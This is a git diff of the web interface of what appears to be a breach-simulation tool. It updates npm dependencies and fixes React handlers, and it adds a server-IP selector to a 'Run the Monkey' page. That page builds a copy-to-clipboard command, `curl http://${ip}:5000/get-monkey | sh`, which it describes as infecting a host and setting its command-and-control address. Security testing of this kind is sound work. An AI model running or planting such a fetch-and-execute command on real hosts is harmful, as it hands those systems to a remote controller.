"combined-stream": "1.0.5", "combined-stream": "1.0.5",
"extend": "3.0.1", "extend": "3.0.1",
"forever-agent": "0.6.1", "forever-agent": "0.6.1",
"form-data": "2.1.4", "form-data": "2.1.4",
"har-validator": "2.0.6", "har-validator": "4.2.1",
"hawk": "3.1.3", "hawk": "3.1.3",
"http-signature": "1.1.1", "http-signature": "1.1.1",
"is-typedarray": "1.0.0", "is-typedarray": "1.0.0",
@ -7637,19 +7866,13 @@
"json-stringify-safe": "5.0.1", "json-stringify-safe": "5.0.1",
"mime-types": "2.1.16", "mime-types": "2.1.16",
"oauth-sign": "0.8.2", "oauth-sign": "0.8.2",
"qs": "6.3.2", "performance-now": "0.2.0",
"qs": "6.4.0",
"safe-buffer": "5.1.1",
"stringstream": "0.0.5", "stringstream": "0.0.5",
"tough-cookie": "2.3.2", "tough-cookie": "2.3.2",
"tunnel-agent": "0.4.3", "tunnel-agent": "0.6.0",
"uuid": "3.1.0" "uuid": "3.1.0"
},
"dependencies": {
"qs": {
"version": "6.3.2",
"resolved": "https://registry.npmjs.org/qs/-/qs-6.3.2.tgz",
"integrity": "sha1-51vV9uJoEioqDgvaYwslUMFmUCw=",
"dev": true
}
} }
}, },
"request-progress": { "request-progress": {
@ -7693,9 +7916,9 @@
"dev": true "dev": true
}, },
"resolve-pathname": { "resolve-pathname": {
"version": "2.1.0", "version": "2.2.0",
"resolved": "https://registry.npmjs.org/resolve-pathname/-/resolve-pathname-2.1.0.tgz", "resolved": "https://registry.npmjs.org/resolve-pathname/-/resolve-pathname-2.2.0.tgz",
"integrity": "sha1-6DWIAbhrg7F1YNTjw4LXrvIQCUQ=" "integrity": "sha512-bAFz9ld18RzJfddgrO2e/0S2O81710++chRMUxHjXOYKF6jTAMrUNZrEZ1PvV0zlhfjidm08iRPdTLPno1FuRg=="
}, },
"restore-cursor": { "restore-cursor": {
"version": "1.0.1", "version": "1.0.1",
@ -8087,9 +8310,9 @@
"dev": true "dev": true
}, },
"source-map-support": { "source-map-support": {
"version": "0.4.15", "version": "0.4.17",
"resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.4.15.tgz", "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.4.17.tgz",
"integrity": "sha1-AyAt9lwG0r2MfsI2KhkwVv7407E=", "integrity": "sha512-30c1Ch8FSjV0FwC253iftbbj0dU/OXoSg1LAEGZJUlGgjTNj6cu+DVqJWWIZJY5RXLWV4eFtR+4ouo0VIOYOTg==",
"dev": true, "dev": true,
"requires": { "requires": {
"source-map": "0.5.6" "source-map": "0.5.6"
@ -8547,10 +8770,13 @@
"dev": true "dev": true
}, },
"tunnel-agent": { "tunnel-agent": {
"version": "0.4.3", "version": "0.6.0",
"resolved": "https://registry.npmjs.org/tunnel-agent/-/tunnel-agent-0.4.3.tgz", "resolved": "https://registry.npmjs.org/tunnel-agent/-/tunnel-agent-0.6.0.tgz",
"integrity": "sha1-Y3PbdpCf5XDgjXNYM2Xtgop07us=", "integrity": "sha1-J6XeoGs2sEoKmWZ3SykIaPD8QP0=",
"dev": true "dev": true,
"requires": {
"safe-buffer": "5.1.1"
}
}, },
"tweetnacl": { "tweetnacl": {
"version": "0.14.5", "version": "0.14.5",
@ -8784,9 +9010,9 @@
} }
}, },
"value-equal": { "value-equal": {
"version": "0.2.1", "version": "0.4.0",
"resolved": "https://registry.npmjs.org/value-equal/-/value-equal-0.2.1.tgz", "resolved": "https://registry.npmjs.org/value-equal/-/value-equal-0.4.0.tgz",
"integrity": "sha1-wiCjBDYfzmmU277ao8fhobiVhx0=" "integrity": "sha512-x+cYdNnaA3CxvMaTX0INdTCN8m8aF2uY9BvEqmxuYp8bL09cs/kWVQPVGcA35fMktdOsP69IgU7wFj/61dJHEw=="
}, },
"vary": { "vary": {
"version": "1.1.1", "version": "1.1.1",

View File

@ -22,10 +22,10 @@
"keywords": [], "keywords": [],
"author": "Your name here", "author": "Your name here",
"devDependencies": { "devDependencies": {
"babel-core": "^6.25.0", "babel-core": "^6.26.0",
"babel-eslint": "^6.0.0", "babel-eslint": "^6.0.0",
"babel-loader": "^6.4.1", "babel-loader": "^6.4.1",
"babel-polyfill": "^6.3.14", "babel-polyfill": "^6.26.0",
"babel-preset-es2015": "^6.24.1", "babel-preset-es2015": "^6.24.1",
"babel-preset-react": "^6.24.1", "babel-preset-react": "^6.24.1",
"babel-preset-stage-0": "^6.5.0", "babel-preset-stage-0": "^6.5.0",
@ -39,11 +39,11 @@
"file-loader": "^0.9.0", "file-loader": "^0.9.0",
"glob": "^7.0.0", "glob": "^7.0.0",
"isparta-instrumenter-loader": "^1.0.0", "isparta-instrumenter-loader": "^1.0.0",
"karma": "^1.0.0", "karma": "^1.7.1",
"karma-chai": "^0.1.0", "karma-chai": "^0.1.0",
"karma-coverage": "^1.0.0", "karma-coverage": "^1.0.0",
"karma-mocha": "^1.0.0", "karma-mocha": "^1.0.0",
"karma-mocha-reporter": "^2.0.0", "karma-mocha-reporter": "^2.2.4",
"karma-phantomjs-launcher": "^1.0.0", "karma-phantomjs-launcher": "^1.0.0",
"karma-sourcemap-loader": "^0.3.5", "karma-sourcemap-loader": "^0.3.5",
"karma-webpack": "^1.7.0", "karma-webpack": "^1.7.0",
@ -51,7 +51,7 @@
"mocha": "^3.0.0", "mocha": "^3.0.0",
"null-loader": "^0.1.1", "null-loader": "^0.1.1",
"open": "0.0.5", "open": "0.0.5",
"phantomjs-prebuilt": "^2.0.0", "phantomjs-prebuilt": "^2.1.15",
"react-addons-test-utils": "^15.0.0", "react-addons-test-utils": "^15.0.0",
"react-hot-loader": "^1.2.9", "react-hot-loader": "^1.2.9",
"rimraf": "^2.4.3", "rimraf": "^2.4.3",
@ -62,7 +62,7 @@
}, },
"dependencies": { "dependencies": {
"bootstrap": "^3.3.7", "bootstrap": "^3.3.7",
"core-js": "^2.0.0", "core-js": "^2.5.1",
"fetch": "^1.1.0", "fetch": "^1.1.0",
"normalize.css": "^4.0.0", "normalize.css": "^4.0.0",
"prop-types": "^15.5.10", "prop-types": "^15.5.10",
@ -75,8 +75,8 @@
"react-fa": "^4.2.0", "react-fa": "^4.2.0",
"react-graph-vis": "^0.1.3", "react-graph-vis": "^0.1.3",
"react-json-tree": "^0.10.9", "react-json-tree": "^0.10.9",
"react-json-view": "^1.12.0", "react-json-view": "^1.12.1",
"react-jsonschema-form": "^0.49.0", "react-jsonschema-form": "^0.49.0",
"react-router-dom": "^4.1.2" "react-router-dom": "^4.2.2"
} }
} }

View File

@ -29,7 +29,7 @@ const RowRenderer = React.createClass({
// //
// render() { // render() {
// return ( // return (
// <div style={{height: this.height}} onClick={this.onClick()}> // <div style={{height: this.height}} onClick={this.onClick}>
// <Icon name="expand" className="pull-right"/> // <Icon name="expand" className="pull-right"/>
// <Row style={{minHeight: '100px'}} ref={ node => this.row = node } {...this.props}/> // <Row style={{minHeight: '100px'}} ref={ node => this.row = node } {...this.props}/>
// </div> // </div>

View File

@ -7,8 +7,8 @@ class RunMonkeyPageComponent extends React.Component {
constructor(props) { constructor(props) {
super(props); super(props);
this.state = { this.state = {
ip: '0.0.0.0', ips: [],
cmd: '-', selectedIp: '0.0.0.0',
isRunning: true isRunning: true
}; };
} }
@ -17,8 +17,8 @@ class RunMonkeyPageComponent extends React.Component {
fetch('/api') fetch('/api')
.then(res => res.json()) .then(res => res.json())
.then(res => this.setState({ .then(res => this.setState({
ip: res.ip, ips: res['ip_addresses'],
cmd: this.generateCmd(res.ip) selectedIp: res['ip_addresses'][0]
})); }));
fetch('/api/local-monkey') fetch('/api/local-monkey')
@ -32,33 +32,52 @@ class RunMonkeyPageComponent extends React.Component {
return `curl http://${ip}:5000/get-monkey | sh`; return `curl http://${ip}:5000/get-monkey | sh`;
} }
runLocalMonkey() { runLocalMonkey = () => {
fetch('/api/local-monkey/run', {method: 'POST'}) fetch('/api/local-monkey',
{
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({action: 'run', ip: this.state.selectedIp})
})
.then(res => res.json()) .then(res => res.json())
.then(res => { .then(res => {
this.setState({ this.setState({
isRunning: res['is_running'] isRunning: res['is_running']
}); });
}); });
} };
setSelectedIp = (event) => {
this.setState({selectedIp: event.target.value});
};
render() { render() {
return ( return (
<Col xs={8}> <Col xs={8}>
<h1 className="page-title">Run the Monkey</h1> <h1 className="page-title">Run the Monkey</h1>
<p>
Select one of the server's IP addresses:
<select value={this.state.selectedIp} onChange={this.setSelectedIp}
className="form-control inline-select">
{this.state.ips.map(ip =>
<option value={ip}>{ip}</option>
)}
</select>
<br/>That address will be used as the monkey's C&C address.
</p>
<p>Run this snippet on a host for manually infecting it with a Monkey:</p> <p>Run this snippet on a host for manually infecting it with a Monkey:</p>
<Well> <Well>
<CopyToClipboard text={this.state.cmd} className="pull-right"> <CopyToClipboard text={this.generateCmd(this.state.selectedIp)} className="pull-right">
<Button style={{margin: '-0.5em'}} title="Copy to Clipboard"> <Button style={{margin: '-0.5em'}} title="Copy to Clipboard">
<Icon name="clipboard"/> <Icon name="clipboard"/>
</Button> </Button>
</CopyToClipboard> </CopyToClipboard>
<code>{this.state.cmd}</code> <code>{this.generateCmd(this.state.selectedIp)}</code>
</Well> </Well>
<p> <p>
Or simply click here to <a onClick={this.runLocalMonkey()} Or simply click here to <a onClick={this.runLocalMonkey}
className="btn btn-default btn-sm" className="btn btn-default btn-sm"
style={{'marginLeft': '0.2em'}}>Run on <b>{this.state.ip}</b></a> style={{'marginLeft': '0.2em'}}>Run on <b>{this.state.selectedIp}</b></a>
{ this.state.isRunning ? { this.state.isRunning ?
<i className="text-success" style={{'marginLeft': '5px'}}>Running...</i> <i className="text-success" style={{'marginLeft': '5px'}}>Running...</i>
: ''} : ''}

View File

@ -11,7 +11,7 @@ class RunServerPageComponent extends React.Component {
componentDidMount() { componentDidMount() {
fetch('/api') fetch('/api')
.then(res => res.json()) .then(res => res.json())
.then(res => this.setState({ip: res.ips.join(', ')})); .then(res => this.setState({ip: res['ip_addresses'][0]}));
} }
render() { render() {

View File

@ -140,6 +140,16 @@ body {
background: #666; background: #666;
} }
/*
* Run Monkey Page
*/
.inline-select {
display: inline-block !important;
width: 130px !important;
margin-left: 1em;
}
/* /*
* Map Preview Pane * Map Preview Pane
*/ */